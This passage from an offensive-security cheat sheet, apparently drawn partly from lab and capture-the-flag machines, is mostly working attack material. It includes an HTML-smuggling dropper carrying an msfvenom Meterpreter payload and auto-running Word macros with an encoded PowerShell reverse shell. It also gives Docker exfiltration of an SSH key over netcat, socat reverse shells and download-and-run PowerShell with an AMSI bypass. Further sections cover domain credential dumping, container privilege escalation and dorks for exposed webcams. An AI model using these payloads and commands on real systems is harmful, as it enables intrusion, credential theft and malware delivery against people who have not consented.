browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
